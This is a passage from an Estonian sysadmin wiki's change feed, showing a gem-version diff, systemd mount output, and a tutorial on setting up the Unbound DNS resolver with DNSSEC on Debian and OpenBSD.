1,3c1,3&lt;br /&gt;
&amp;lt; asetus (0.3.0)&lt;br /&gt;
&amp;lt; backports (3.23.0)&lt;br /&gt;
&amp;lt; bcrypt_pbkdf (1.1.0)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; asetus (0.4.0)&lt;br /&gt;
&amp;gt; backports (3.25.3)&lt;br /&gt;
&amp;gt; bcrypt_pbkdf (1.1.2)&lt;br /&gt;
6c6&lt;br /&gt;
&amp;lt; bundler (default: 2.1.2)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; bundler (2.1.4, default: 2.1.2)&lt;br /&gt;
8c8&lt;br /&gt;
&amp;lt; charlock_holmes (0.7.7)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; charlock_holmes (0.7.9)&lt;br /&gt;
14c14&lt;br /&gt;
&amp;lt; ed25519 (1.2.4)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; ed25519 (1.3.0)&lt;br /&gt;
25c25&lt;br /&gt;
&amp;lt; htmlentities (4.3.4)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; htmlentities (4.4.2)&lt;br /&gt;
29c29&lt;br /&gt;
&amp;lt; json (default: 2.3.0)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; json (2.19.8, default: 2.3.0)&lt;br /&gt;
32a33&lt;br /&gt;
&amp;gt; molinillo (0.6.4)&lt;br /&gt;
34a36&lt;br /&gt;
&amp;gt; net-http-persistent (2.9.4)&lt;br /&gt;
56,57c58,59&lt;br /&gt;
&amp;lt; rb-fsevent (0.11.0)&lt;br /&gt;
&amp;lt; rb-inotify (0.10.1)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; rb-fsevent (0.11.2)&lt;br /&gt;
&amp;gt; rb-inotify (0.11.1)&lt;br /&gt;
64c66&lt;br /&gt;
&amp;lt; rugged (0.28.5)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; rugged (0.99.0, 0.28.5)&lt;br /&gt;
71c73&lt;br /&gt;
&amp;lt; slop (4.9.1, 3.6.0)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; slop (4.10.1, 4.9.1, 3.6.0)&lt;br /&gt;
74c76&lt;br /&gt;
&amp;lt; temple (0.8.2)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; temple (0.10.4)&lt;br /&gt;
76c78,79&lt;br /&gt;
&amp;lt; tilt (2.0.10)&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; thor (0.19.4)&lt;br /&gt;
&amp;gt; tilt (2.7.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc 2===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -h -t ext4 -T&lt;br /&gt;
Filesystem                Type  Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/mapper/system-root   ext4   24G   18G  5.3G  77% /&lt;br /&gt;
/dev/mapper/system-mysql  ext4   49G   35G   13G  74% /var/lib/mysql&lt;br /&gt;
/dev/mapper/system-rrd    ext4  196G  154G   33G  83% /opt/observium/rrd&lt;br /&gt;
/dev/mapper/system-tmpdir ext4  2.9M   14K  2.6M   1% /srv/mysqlbackup&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl status srv-mysqlbackup.mount&lt;br /&gt;
● srv-mysqlbackup.mount - /srv/mysqlbackup&lt;br /&gt;
   Loaded: loaded (/proc/self/mountinfo)&lt;br /&gt;
   Active: active (mounted) since Thu 2026-06-18 01:05:15 EEST; 11h ago&lt;br /&gt;
    Where: /srv/mysqlbackup&lt;br /&gt;
     What: /dev/mapper/system-tmpdir&lt;br /&gt;
&lt;br /&gt;
# systemctl show srv-mysqlbackup.mount | less&lt;br /&gt;
Where=/srv/mysqlbackup&lt;br /&gt;
What=/dev/mapper/system-tmpdir&lt;br /&gt;
Options=rw,relatime,stripe=256,data=ordered&lt;br /&gt;
Type=ext4&lt;br /&gt;
TimeoutUSec=1min 30s&lt;br /&gt;
ControlPID=0&lt;br /&gt;
DirectoryMode=0755&lt;br /&gt;
SloppyOptions=no&lt;br /&gt;
LazyUnmount=no&lt;br /&gt;
ForceUnmount=no&lt;br /&gt;
Result=success&lt;br /&gt;
UID=[not set]&lt;br /&gt;
GID=[not set]&lt;br /&gt;
Slice=system.slice&lt;br /&gt;
MemoryCurrent=[not set]&lt;br /&gt;
CPUUsageNSec=[not set]&lt;br /&gt;
TasksCurrent=[not set]&lt;br /&gt;
IPIngressBytes=18446744073709551615&lt;br /&gt;
IPIngressPackets=18446744073709551615&lt;br /&gt;
IPEgressBytes=18446744073709551615&lt;br /&gt;
IPEgressPackets=18446744073709551615&lt;br /&gt;
Delegate=no&lt;br /&gt;
CPUAccounting=no&lt;br /&gt;
CPUWeight=[not set]&lt;br /&gt;
StartupCPUWeight=[not set]&lt;br /&gt;
CPUShares=[not set]&lt;br /&gt;
StartupCPUShares=[not set]&lt;br /&gt;
CPUQuotaPerSecUSec=infinity&lt;br /&gt;
IOAccounting=no&lt;br /&gt;
IOWeight=[not set]&lt;br /&gt;
StartupIOWeight=[not set]&lt;br /&gt;
BlockIOAccounting=no&lt;br /&gt;
BlockIOWeight=[not set]&lt;br /&gt;
StartupBlockIOWeight=[not set]&lt;br /&gt;
MemoryAccounting=no&lt;br /&gt;
MemoryLow=0&lt;br /&gt;
MemoryHigh=infinity&lt;br /&gt;
MemoryMax=infinity&lt;br /&gt;
MemorySwapMax=infinity&lt;br /&gt;
MemoryLimit=infinity&lt;br /&gt;
DevicePolicy=auto&lt;br /&gt;
TasksAccounting=yes&lt;br /&gt;
TasksMax=17203&lt;br /&gt;
IPAccounting=no&lt;br /&gt;
UMask=0022&lt;br /&gt;
LimitCPU=infinity&lt;br /&gt;
LimitCPUSoft=infinity&lt;br /&gt;
LimitFSIZE=infinity&lt;br /&gt;
LimitFSIZESoft=infinity&lt;br /&gt;
LimitDATA=infinity&lt;br /&gt;
LimitDATASoft=infinity&lt;br /&gt;
LimitSTACK=infinity&lt;br /&gt;
LimitSTACKSoft=8388608&lt;br /&gt;
LimitCORE=infinity&lt;br /&gt;
LimitCORESoft=0&lt;br /&gt;
LimitRSS=infinity&lt;br /&gt;
LimitRSSSoft=infinity&lt;br /&gt;
LimitNOFILE=4096&lt;br /&gt;
LimitNOFILESoft=1024&lt;br /&gt;
LimitAS=infinity&lt;br /&gt;
LimitASSoft=infinity&lt;br /&gt;
LimitNPROC=1030297&lt;br /&gt;
LimitNPROCSoft=1030297&lt;br /&gt;
LimitMEMLOCK=67108864&lt;br /&gt;
LimitMEMLOCKSoft=67108864&lt;br /&gt;
LimitLOCKS=infinity&lt;br /&gt;
LimitLOCKSSoft=infinity&lt;br /&gt;
LimitSIGPENDING=1030297&lt;br /&gt;
LimitSIGPENDINGSoft=1030297&lt;br /&gt;
LimitMSGQUEUE=819200&lt;br /&gt;
LimitMSGQUEUESoft=819200&lt;br /&gt;
LimitNICE=0&lt;br /&gt;
LimitNICESoft=0&lt;br /&gt;
LimitRTPRIO=0&lt;br /&gt;
LimitRTPRIOSoft=0&lt;br /&gt;
LimitRTTIME=infinity&lt;br /&gt;
LimitRTTIMESoft=infinity&lt;br /&gt;
OOMScoreAdjust=0&lt;br /&gt;
Nice=0&lt;br /&gt;
IOSchedulingClass=0&lt;br /&gt;
IOSchedulingPriority=0&lt;br /&gt;
CPUSchedulingPolicy=0&lt;br /&gt;
CPUSchedulingPriority=0&lt;br /&gt;
TimerSlackNSec=50000&lt;br /&gt;
CPUSchedulingResetOnFork=no&lt;br /&gt;
NonBlocking=no&lt;br /&gt;
StandardInput=null&lt;br /&gt;
StandardInputData=&lt;br /&gt;
StandardOutput=journal&lt;br /&gt;
StandardError=inherit&lt;br /&gt;
TTYReset=no&lt;br /&gt;
TTYVHangup=no&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
SyslogPriority=30&lt;br /&gt;
SyslogLevelPrefix=yes&lt;br /&gt;
SyslogLevel=6&lt;br /&gt;
SyslogFacility=3&lt;br /&gt;
LogLevelMax=-1&lt;br /&gt;
SecureBits=0&lt;br /&gt;
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_kill cap_setgid cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner&lt;br /&gt;
 cap_sys_module cap_sys_rawio cap_sys_chroot cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config cap_mknod cap_lease cap_audit_write cap_audit_control cap_setfcap cap_mac_override&lt;br /&gt;
 cap_mac_admin cap_syslog cap_wake_alarm cap_block_suspend&lt;br /&gt;
AmbientCapabilities=&lt;br /&gt;
DynamicUser=no&lt;br /&gt;
RemoveIPC=no&lt;br /&gt;
MountFlags=&lt;br /&gt;
PrivateTmp=no&lt;br /&gt;
PrivateDevices=no&lt;br /&gt;
ProtectKernelTunables=no&lt;br /&gt;
ProtectKernelModules=no&lt;br /&gt;
ProtectControlGroups=no&lt;br /&gt;
PrivateNetwork=no&lt;br /&gt;
PrivateUsers=no&lt;br /&gt;
ProtectHome=no&lt;br /&gt;
ProtectSystem=no&lt;br /&gt;
SameProcessGroup=yes&lt;br /&gt;
UtmpMode=init&lt;br /&gt;
IgnoreSIGPIPE=yes&lt;br /&gt;
NoNewPrivileges=no&lt;br /&gt;
SystemCallErrorNumber=0&lt;br /&gt;
LockPersonality=no&lt;br /&gt;
RuntimeDirectoryPreserve=no&lt;br /&gt;
RuntimeDirectoryMode=0755&lt;br /&gt;
StateDirectoryMode=0755&lt;br /&gt;
CacheDirectoryMode=0755&lt;br /&gt;
LogsDirectoryMode=0755&lt;br /&gt;
ConfigurationDirectoryMode=0755&lt;br /&gt;
MemoryDenyWriteExecute=no&lt;br /&gt;
RestrictRealtime=no&lt;br /&gt;
RestrictSUIDSGID=no&lt;br /&gt;
RestrictNamespaces=no&lt;br /&gt;
MountAPIVFS=no&lt;br /&gt;
KeyringMode=private&lt;br /&gt;
KillMode=control-group&lt;br /&gt;
KillSignal=15&lt;br /&gt;
SendSIGKILL=yes&lt;br /&gt;
SendSIGHUP=no&lt;br /&gt;
Id=srv-mysqlbackup.mount&lt;br /&gt;
Names=srv-mysqlbackup.mount&lt;br /&gt;
Requires=system.slice dev-mapper-system\x2dtmpdir.device -.mount&lt;br /&gt;
WantedBy=dev-mapper-system\x2dtmpdir.device&lt;br /&gt;
Conflicts=umount.target&lt;br /&gt;
Before=umount.target local-fs.target&lt;br /&gt;
After=-.mount systemd-journald.socket system.slice dev-mapper-system\x2dtmpdir.device local-fs-pre.target&lt;br /&gt;
RequiresMountsFor=/srv&lt;br /&gt;
Description=/srv/mysqlbackup&lt;br /&gt;
LoadState=loaded&lt;br /&gt;
ActiveState=active&lt;br /&gt;
SubState=mounted&lt;br /&gt;
SourcePath=/proc/self/mountinfo&lt;br /&gt;
StateChangeTimestamp=Thu 2026-06-18 01:05:15 EEST&lt;br /&gt;
StateChangeTimestampMonotonic=2353248905053&lt;br /&gt;
InactiveExitTimestamp=Thu 2026-06-18 01:05:15 EEST&lt;br /&gt;
InactiveExitTimestampMonotonic=2353248905053&lt;br /&gt;
ActiveEnterTimestamp=Thu 2026-06-18 01:05:15 EEST&lt;br /&gt;
ActiveEnterTimestampMonotonic=2353248905053&lt;br /&gt;
ActiveExitTimestampMonotonic=0&lt;br /&gt;
InactiveEnterTimestampMonotonic=0&lt;br /&gt;
CanStart=yes&lt;br /&gt;
CanStop=yes&lt;br /&gt;
CanReload=yes&lt;br /&gt;
CanIsolate=no&lt;br /&gt;
StopWhenUnneeded=no&lt;br /&gt;
RefuseManualStart=no&lt;br /&gt;
RefuseManualStop=no&lt;br /&gt;
AllowIsolate=no&lt;br /&gt;
DefaultDependencies=yes&lt;br /&gt;
OnFailureJobMode=replace&lt;br /&gt;
IgnoreOnIsolate=yes&lt;br /&gt;
NeedDaemonReload=no&lt;br /&gt;
JobTimeoutUSec=infinity&lt;br /&gt;
JobRunningTimeoutUSec=infinity&lt;br /&gt;
JobTimeoutAction=none&lt;br /&gt;
ConditionResult=no&lt;br /&gt;
AssertResult=no&lt;br /&gt;
ConditionTimestampMonotonic=0&lt;br /&gt;
AssertTimestampMonotonic=0&lt;br /&gt;
Transient=no&lt;br /&gt;
Perpetual=no&lt;br /&gt;
StartLimitIntervalUSec=10s&lt;br /&gt;
StartLimitBurst=5&lt;br /&gt;
StartLimitAction=none&lt;br /&gt;
FailureAction=none&lt;br /&gt;
SuccessAction=none&lt;br /&gt;
InvocationID=092a9a19be674f069064d8c22ba8e7b5&lt;br /&gt;
CollectMode=inactive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-02-08-how-to-run-oxidized-in-docker-for-network-config-backup/view&lt;br /&gt;
* https://hub.docker.com/r/oxidized/oxidized&lt;br /&gt;
* [[:Gitea kasutamine]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4247</id>
		<title>Rekursiivse resolveri Unbound kasutamine operatsioonisüsteemiga Debian</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4247"/>
		<updated>2026-06-18T05:47:16Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 2026 kevad märkused */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Kategooria:Interneti domeeninimede süsteem]]&lt;br /&gt;
===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
Üks võimalus liigitada nimeservereid või nimeserverite tarkvara on selle järgi, millised päringuid teenindatakse&lt;br /&gt;
&lt;br /&gt;
* pädev ehk autoriteetne (ingl. k. authoritative) - vastab päringutele ainult nimeserveri tsoonifailis kirjeldatud andmete alusel; autoriteetsed nimeserverid teenindavad reeglina resolverite päringuid&lt;br /&gt;
* rekursiivne (ingl. k. recursive) - rekursiivne nimeserver ei sisalda nö oma tsoonifaili, st ta ei ole mingite vastuste osas autoriteetne; rekursiivne nimeserver teenindab mingi piiratud hulga klientide päringuid lahendades neid autoriteetsete nimeserverite abil ja seetõttu nimetatakse rekursiivset nimeserverit tihti resolveriks (ingl. k. to resolve - lahendama)&lt;br /&gt;
&lt;br /&gt;
Unbound http://www.unbound.net/ resolveril on selliseid omadused&lt;br /&gt;
&lt;br /&gt;
* rekursiivne - lahendab nö lõppkasutaja esitatud päringuid, nt sobib seadistada töökohaarvuti nimeserveriks&lt;br /&gt;
* vaheladustav (ingl. k. caching) - Unbound peab kord lahendatud vastust mõnda aega meeles, mis tähendab, et järgmisele samale päringule vastab ta kliendile kohe ja ei pea omakorda pöörduma vastuse saamiseks autoriteetsete nimeserverite poole&lt;br /&gt;
* valideeriv - toetab DNSSEC kasutamist&lt;br /&gt;
* IPv6 tugi&lt;br /&gt;
&lt;br /&gt;
Rekursiivse resolveri vastutus on parimal võimalikul moel anda kliendi esitatud päringule vastus, seejuures&lt;br /&gt;
&lt;br /&gt;
* kasutada vastuse koostamisel mitmete pädevate nimeserverite abi&lt;br /&gt;
* anda õige vastus - nt mitte ennast lasta eksitada cache poisoning tehnikatest, võimalusel kasutada DNSSEC vahendeid&lt;br /&gt;
* vastata kiiresti&lt;br /&gt;
&lt;br /&gt;
===Unbound paigaldamine===&lt;br /&gt;
&lt;br /&gt;
2011 aastal leidub paljude operatsioonisüsteemide paketihalduses Unbound tarkvara. &lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze sisaldab versiooni 1.4.6 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install unbound&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
OpenBSD 5.4 sisaldab binaarse paketina versiooni 1.4.9 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pkg_add unbound      &lt;br /&gt;
 unbound-1.4.20:libldns-1.6.16p0: ok                                                                                                        &lt;br /&gt;
 useradd: Warning: home directory `/var/unbound' doesn't exist, and -m was not specified                                                    &lt;br /&gt;
 unbound-1.4.20: ok                                                                                                                         &lt;br /&gt;
 The following new rcscripts were installed: /etc/rc.d/unbound&lt;br /&gt;
 See rc.d(8) for details.&lt;br /&gt;
 --- +unbound-1.4.20 -------------------&lt;br /&gt;
 You should add:&lt;br /&gt;
 &lt;br /&gt;
     syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 to /etc/rc.conf.local to create a syslog socket in the unbound chroot.&lt;br /&gt;
&lt;br /&gt;
Selleks, et /etc/rc.d/unbound skript töötaks, peab olema seadistatud unbound-control (127.0.0.1 pealt).&lt;br /&gt;
&lt;br /&gt;
===Unbound seadistamine===&lt;br /&gt;
&lt;br /&gt;
Resolveri seadistusfailis tuleb näidata muu hulgas&lt;br /&gt;
&lt;br /&gt;
* juurnimeserverite aadressid&lt;br /&gt;
* millisel aadressil resolver päringuid teenindab&lt;br /&gt;
* millised kliendid saavad resolverit kasutada, tavaliselt kliendi src ip aadressi täpsusega&lt;br /&gt;
&lt;br /&gt;
Unbound tööd juhib seadistusfail unbound.conf&lt;br /&gt;
&lt;br /&gt;
* /etc/unbound/unbound.conf - Debian&lt;br /&gt;
* /var/unbound/etc/unbound.conf - OpenBSD&lt;br /&gt;
&lt;br /&gt;
Lihtsamal juhul võib kasutada nt sellise sisuga seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
     interface: 192.168.10.190&lt;br /&gt;
     outgoing-interface: 192.168.10.190&lt;br /&gt;
     access-control: 192.168.1.0/24 allow&lt;br /&gt;
     access-control: 192.168.10.0/24 allow_snoop&lt;br /&gt;
     root-hints: &amp;quot;/var/unbound/etc/named.cache&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* interface - millisel aadressil arvuti Unbound resolveri kliente teenindab&lt;br /&gt;
* outgoing-interface - milliselt aadressilt resolveri päringud autoriteetsetele nimeserveritele väljuvad&lt;br /&gt;
* access-control - millistelt ip aadressidelt saab Unbound resolverit kasutada; allow lubab esitada ainult rekursiivseid päringuid, nt +norec annab vaikimisi refused vastuse&lt;br /&gt;
&lt;br /&gt;
 $ dig +norec @nimeserver domeeni.nimi&lt;br /&gt;
 ...&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: REFUSED, id: 52133&lt;br /&gt;
&lt;br /&gt;
allow_snoop lubab mõlemaid (viimane on vajalik, et unbound kasutaja saaks öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig +trace @nimeserver domeeni.nimi&lt;br /&gt;
&lt;br /&gt;
* root-hints - resolver peab alati teadma interneti juurnimeserverite aadresse&lt;br /&gt;
&lt;br /&gt;
Juurnimeserverite aadresse saab küsida mõnes juba seadistatud resolveriga arvutis&lt;br /&gt;
&lt;br /&gt;
  $ dig . ns&lt;br /&gt;
&lt;br /&gt;
või kopeerida aadressilt Linuxis&lt;br /&gt;
&lt;br /&gt;
  $ wget ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
OpenBSD keskkonnas&lt;br /&gt;
&lt;br /&gt;
  $ ftp ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
===Unbound käivitamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolver teenindab päringuid portidel 53/udp ja 53/tcp.&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Unbound töötaks OpenBSD all chroot keskkonnas kataloogis /var/unbound kasutajana _unbound tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 chroot: &amp;quot;/var/unbound&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Et chroot keskkonnas töötav Unbound saaks logida syslog'i tuleb syslog käivitamisel lisaks kasutada '-a /var/unbound/dev/log'&lt;br /&gt;
&lt;br /&gt;
  # syslogd -a /var/www/dev/log -a /var/empty/dev/log -a /var/unbound/dev/log&lt;br /&gt;
&lt;br /&gt;
/etc/rc.conf.local failis sobib kasutada rida&lt;br /&gt;
&lt;br /&gt;
  syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2012 kevadel ütleb OpenBSD v. 5.1 paketihalduse unbound chroot kasutamisel kävitamisel nii&lt;br /&gt;
&lt;br /&gt;
 # unbound -dv                             &lt;br /&gt;
 [1335943357] unbound[20534:0] notice: Start of unbound 1.4.15.&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: increased limit(open files) from 128 to 4140&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: unable to setusercontext _unbound: Bad file descriptor&lt;br /&gt;
&lt;br /&gt;
Limiitide tuleb töötada sarnaselt nagu on kirjeldatud aadressil http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_OpenBSD_kasutamine#Login_class_kasutamine.&lt;br /&gt;
&lt;br /&gt;
Tavalisel viisil sobib kasutada käivitusskripti&lt;br /&gt;
&lt;br /&gt;
  # /etc/rc.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
Vastasel korral on logis midagi sellist&lt;br /&gt;
&lt;br /&gt;
 Mar 13 16:03:01 unbound[28759:0] error: can't create socket: Too many open files&lt;br /&gt;
&lt;br /&gt;
===Unbound kasutamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri kasutajateks on tavaliselt arvutid, mis vajavad nimelahendust, nt kohtvõrgu arvutid, eposti serverid jt kusjuures Unbound protsess töötab selleks ettenähtud arvutis või võrgusõlmeks olevas seadmes&lt;br /&gt;
&lt;br /&gt;
      internet&lt;br /&gt;
        ...&lt;br /&gt;
         |&lt;br /&gt;
        _|_&lt;br /&gt;
       |   | OpenBSD võrgusõlm&lt;br /&gt;
       |___| Unbound protsess&lt;br /&gt;
         |&lt;br /&gt;
   --|---|----------|-----------|--&lt;br /&gt;
     |              |           |&lt;br /&gt;
 &lt;br /&gt;
          dns kliendid (töökohaarvuti, serverid)&lt;br /&gt;
&lt;br /&gt;
Linux keskkonnas sobib näidata nimeserveri aadress staatiliselt arvuti /etc/resolv.conf failis nt reaga&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.10.190&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri tööd saab kontrollida nt öeldes mõnes arvutis, kus peab kõnealust resolverit saama kasutada&lt;br /&gt;
&lt;br /&gt;
  $ dig @192.168.10.190 kuutorvaja.eenet.ee a&lt;br /&gt;
&lt;br /&gt;
ja vastus peaks sisaldama sarnaseid ridu rida&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;kuutorvaja.eenet.ee.           IN      A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  kuutorvaja.eenet.ee.    83840   IN      A       193.40.0.7&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
===Nimepäringu vastuse valideerimine===&lt;br /&gt;
&lt;br /&gt;
Nimepäringute vastuste valideerimiseks kasutatakse üldiselt DNSSEC tehnikat. 2011 aastal on selleks mitmeid võimalusi, kaks populaarsemat on&lt;br /&gt;
&lt;br /&gt;
* signeeritud tsoonifailidega juurnimeserverite kasutamine, kõige loomulikum viis&lt;br /&gt;
* DLV (DNSSEC Look-aside Validation) - üleminekuaja häkk&lt;br /&gt;
&lt;br /&gt;
Kui nimeteenust kasutatakse sarnaselt ülaltoodud skeemile, siis peab arvestama, et DNSSEC kontroll toimub Unbound protsessi juures, sealt edasi kliendini liigub vastus tavalise avateksina üle kohtvõrgu ja klient otsustab vastuse turvalisuse üle ad biti järgi vastuses. Seetõttu on reeglina soovitav, et Unbound töötaks nimeteenust kasutatavatele arvutitele võimalikult lähedal.&lt;br /&gt;
&lt;br /&gt;
DNSSEC juurutamise kronoloogia&lt;br /&gt;
&lt;br /&gt;
* 15. juuli 2010 - juurnimeserverid kasutavad signeeritud tsoone http://www.root-dnssec.org/&lt;br /&gt;
* ? - .org tsoon on signeeritud&lt;br /&gt;
* 31. märts 2011 - .com tsoon on signeeritud http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
* http://blogs.pcmag.com/securitywatch/2011/03/dnssec_in_com_domain_is_a_good.php&lt;br /&gt;
&lt;br /&gt;
====Signeeritud tsoonifailiga juurnimeserverite kasutamine====&lt;br /&gt;
&lt;br /&gt;
Unbound seadistamiseks tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 auto-trust-anchor-file: &amp;quot;root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures fail peab olema unbound protsessile kirjutatav ning esialgselt sisaldama rida (as per http://unbound.net/documentation/howto_anchor.html)&lt;br /&gt;
&lt;br /&gt;
 # cat /var/unbound/etc/root.key&lt;br /&gt;
 . IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5&lt;br /&gt;
&lt;br /&gt;
 # chown _unbound /var/unbound/etc&lt;br /&gt;
 # chown _unbound:_unbound /var/unbound/etc/root.key&lt;br /&gt;
&lt;br /&gt;
Peale unbound protsessi käivitamist selle faili sisu muutub automaatselt.&lt;br /&gt;
&lt;br /&gt;
Kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig . ns +dnssec +multiline&lt;br /&gt;
 &lt;br /&gt;
 ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.7.2-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; . ns +dnssec +multiline&lt;br /&gt;
 ;; global options: +cmd&lt;br /&gt;
 ;; Got answer:&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 4737&lt;br /&gt;
 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
 &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;.                      IN NS&lt;br /&gt;
 &lt;br /&gt;
 ;; ANSWER SECTION:&lt;br /&gt;
 .                       518267 IN NS m.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS g.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS b.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS h.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS a.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS e.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS k.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS f.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS c.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS j.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS i.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS l.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS d.root-servers.net.&lt;br /&gt;
 .                       518267 IN RRSIG NS 8 0 518400 20110409000000 (&lt;br /&gt;
                                 20110401230000 34525 .&lt;br /&gt;
                                 De4SFgTDwpgbz1JjTlaPzu7ZNRURLSnoYmQQQIZq7Gny&lt;br /&gt;
                                 RghOrsvS1soH5F43Gxr5BIi+422EBLJIrEHFnbvLy22S&lt;br /&gt;
                                 LqKtSw67eDdsBZyjE5fTtDHyYhnoR8YQWswgGVMRk4Ek&lt;br /&gt;
                                 iDDMIOk5pF+CvbML6TlvTWrnPCwNWXnbLFnT9SY= )&lt;br /&gt;
 &lt;br /&gt;
 ;; Query time: 0 msec&lt;br /&gt;
 ;; SERVER: 10.192.0.53#53(10.192.0.53)&lt;br /&gt;
 ;; WHEN: Sat Apr  2 18:44:16 2011&lt;br /&gt;
 ;; MSG SIZE  rcvd: 397&lt;br /&gt;
&lt;br /&gt;
kus tuleb tähele panna&lt;br /&gt;
&lt;br /&gt;
* vastus sisaldab RRSIG kirjet&lt;br /&gt;
* flags: qr rd ra ad - ad tähistab, et tegu on authoritative data sisaldusega&lt;br /&gt;
&lt;br /&gt;
====DLV====&lt;br /&gt;
&lt;br /&gt;
DLV seadistamiseks tuleb &lt;br /&gt;
&lt;br /&gt;
* kopeerida trust anchor fail kataloogi /var/unbound/etc&lt;br /&gt;
&lt;br /&gt;
  # cd /var/unbound/etc&lt;br /&gt;
  # ftp http://ftp.isc.org/www/dlv/dlv.isc.org.key&lt;br /&gt;
